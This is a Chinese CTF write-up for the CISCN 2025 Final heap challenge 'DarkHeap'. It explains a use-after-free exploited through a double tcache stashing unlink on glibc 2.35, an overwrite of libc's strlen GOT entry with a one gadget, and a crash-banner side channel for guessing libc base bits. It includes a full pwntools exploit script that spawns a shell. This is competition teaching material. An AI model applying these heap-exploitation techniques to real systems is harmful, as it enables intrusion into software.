CISCN 2025 Final DarkHeap



题目名:DarkHeap

附件:

checksec:

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

Glibc 2.35。

main函数中,我们可以在子进程中执行sub_1620至多256次,而当子进程返回值非零时父进程立刻退出。

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __pid_t v3; // eax
  _BYTE stat_loc[20]; // [rsp+4h] [rbp-14h] BYREF

  *(_QWORD *)&stat_loc[4] = __readfsqword(0x28u);
  sub_1370(a1, a2, a3);
  do
  {
    sub_1680();
    v3 = fork();
    if ( v3 == -1 )
      _exit(1);
    if ( !v3 )
      sub_1620();
    wait((__WAIT_STATUS)stat_loc);
    if ( (stat_loc[0] & 0x7F) == 0 )
      goto LABEL_8;
    ++dword_4040[0];
  }
  while ( dword_4040[0] <= 255 );
  sub_1340("Sorry, there has been an exception in the program. Please try again later.");
LABEL_8:
  _exit(0);
}

ssize_t __fastcall sub_1340(const char *buf)
{
  size_t v1; // rax
  ssize_t result; // rax

  v1 = strlen(buf);
  result = write(1, buf, v1);
  if ( result == -1 )
    _exit(1);
  return result;
}

本题的sub_1340作为打印函数直接调用write

sub_1620是一个非常常规的菜单堆,我们可以

delete功能中有一个非常明显的UAF漏洞。

自然是考虑通过劫持tcache完成libc中的任意写。我们可以利用tcache stashing unlink这个一直到2.41都没有修复的漏洞,通过篡改从small_bin->bk开始往前数第七个堆块的bk指针,往tcache上写入一个libc中small bin头的地址,顺便把一个tcache上的地址放进tcache,于是我们只需要布置好需要的指针与堆块,便可以通过tcache完成libc中的任意写了。

然而,在stashing的过程中,原本写好的libc地址又会被破坏掉(写入next指针)。因此,我们需要第二次tcache stashing unlink,这一次需要篡改从small_bin->bk开始往前数第八个堆块的bk指针,此外还需要第九个堆块垫在前面提供堆地址。由于一次性最多只能操控16个堆块(刚好是7 × tcache bin chunk + 8 × small bin chunk + 1 × guard chunk),因此我们需要通过重叠构造出伪堆块,然后将其释放,dump到small bin中来补充缺失的第九个堆块。

注:好像也不需要,small bin chunk放在tcache bin chunk前面就行了。但是如果这个题只有15个堆块的话或许就需要了 :)

通过篡改libc地址的低位,再从tcache bin中分配堆块,我们便可以实现libc中的任意写。然而,我们无法在sub_1620中触发_IO_FILE相关的操作。因此,笔者想到的方法是篡改libc GOT表中的__strlen_avx2@got为某个one gadget,在malloc_printerr -> __libc_message中调用__strlen_avx2时触发one gadget获得shell。

但是这样一来,我们就需要\( 16^4 = 65536 \)次穷举。考虑到父子进程的各种基址都是一样的,配合父进程的爆破起码也需要256次,稳定性较低。

注意到main函数中的sub_1680

__int64 sub_1680()
{
  return sub_1340("------DarkHeap------\n");
}

这意味着每次子进程中途(因为基址猜错)崩溃重启的时候,我们都能收到一串"------DarkHeap------\n"。我们从0开始枚举libc基址的第16~23比特位,由于GOT表所在的可写段是\(2^{24}\)字节范围内的唯一一个可写段,而GOT表刚好又在这个可写段的开头,因此子进程第一次成功写入而不报段错误的时候我们就已经猜对了。因此结合子进程报错时发送的消息——如段错误时无消息,没有段错误但未命中GOT表时出现的malloc_printerr报错,命中GOT表时的沉默——我们可以通过一次0~255的扫描确定libc基址的第16~23比特位,然后通过一次0~15的扫描确定12~15比特位,加上对堆基址12~15比特位的碰撞,利用成功的概率大约为\( \frac{1}{16} \)。

from pwn import *

context(log_level = 'info', arch = 'amd64', os = 'linux')

def opt(num):
    r.sendafter(b'Choice:', str(num).encode())

def add(index, size):
    opt(1)
    r.sendafter(b'Index:', str(index).encode())
    r.sendafter(b'Size:', str(size).encode())

def edit(index, content):
    opt(2)
    r.sendafter(b'Index:', str(index).encode())
    if not r.sendafter(b'Content:', content, timeout=3):
        raise TimeoutError

def delete(index):
    opt(3)
    r.sendafter(b'Index:', str(index).encode())


printres = lambda index, nibbles, res: print('\x1b[34;1mReceived:\x1b[0m %3d, %03x, \x1b[33;1m%s\x1b[0m' % (index, nibbles, str(res)))

heap_delta = lambda: heap_nibble_3 << 12
libc_delta = lambda: libc_nibble_3_5 << 12

banner = b'------DarkHeap------'

class G:
    def __init__(self, a):
        self.a = a
    def n(self, x):
        if not x:
            if self.a[0] >= 255:
                if self.a[1] < 15:
                    self.a[1] += 1
                else:
                    return False
            else:
                self.a[0] += 1
        else:
            if self.a[1] >= 15:
                if self.a[0] < 255:
                    self.a[0] += 1
                else:
                    return False
            else:
                self.a[1] += 1
        return True

while 1:
    try:
        r = process('./DarkHeap')
        heap_nibble_3 = 0xb
        libc_nibble_4_5 = 0
        libc_nibble_3 = 0
        g = G([libc_nibble_4_5, libc_nibble_3])
        index = -1
        while 1:    # 1/16 succ rate theoretically
            index += 1
            libc_nibble_3_5 = g.a[0] << 4 | g.a[1]
            
            add(7, 0x108)
            add(8, 0x118)

            for i in range(7):
                add(i, 0x88)
            delete(7)
            delete(8)
            for i in range(7, 15):
                add(i, 0x88)
                add(0xf, 0x10)
            for i in range(15):
                delete(i)
            add(0xf, 0x1500)
            add(2, 0x1500)
            delete(0xf)
            edit(0xd, p64(0) + p16(heap_delta() + 0x90 + 8*(0x100-0x20)//16 - 0x10))
            for i in range(8):
                add(i, 0x88)

            for i in range(7):
                add(i, 0x98)
            for i in range(7, 15):
                add(i, 0x98)
                add(0xf, 0x10)
            for i in range(15):
                delete(i)
            add(0, 0x4f8)
            delete(0)
            add(1, 0xb8)
            add(2, 0x500-0xc0-8)
            edit(0, b'\0'*0xb8 + p64(0xa1) + b'\0'*0x98 + p64(0xa1) + b'\0'*0x98 + p64(0xa1))
            delete(2)
            add(0xf, 0x128)
            edit(0xe, p64(0) + p16(heap_delta() + 0x90 + 8*(0x120-0x20)//16 - 0x10))
            for i in range(8):
                add(i, 0x98)
            
            res = r.recvline() + r.recvline() + r.recvline()
            add(0, 0x88)
            if b'free()' in res:
                printres(index, libc_nibble_3_5, res)
                assert g.n(1)
                g.a[0] -= 1
                continue
            elif banner in res:
                printres(index, libc_nibble_3_5, res)
                assert g.n(0)
                continue
            edit(0, p64(0)*2 + p32(libc_delta() + 0x21a080)[:3])
            add(1, 0x118)
            res = r.recvline() + r.recvline() + r.recvline()
            if b'free()' in res:
                printres(index, libc_nibble_3_5, res)
                assert g.n(1)
                g.a[0] -= 1
                continue
            elif banner in res:
                printres(index, libc_nibble_3_5, res)
                assert g.n(0)
                continue
            edit(1, p64(0)*3 + p32(libc_delta() + 0xebd38)[:3])

            add(3, 0xb8)
            delete(3)
            delete(3)
            
            res = r.recvuntil(banner, timeout=3)
            if b'free()' in res:
                printres(index, libc_nibble_3_5, res)
                assert g.n(1)
                g.a[0] -= 1
                continue
            elif banner in res:
                printres(index, libc_nibble_3_5, res)
                assert g.n(0)
                continue
            
            r.interactive()
            break
        else:
            continue
        break
    except (EOFError, TimeoutError, AssertionError):
        r.close()
        continue
















Tags: #BinaryExploitation, #HeapExploitation

Time: 2025-08-15 20:36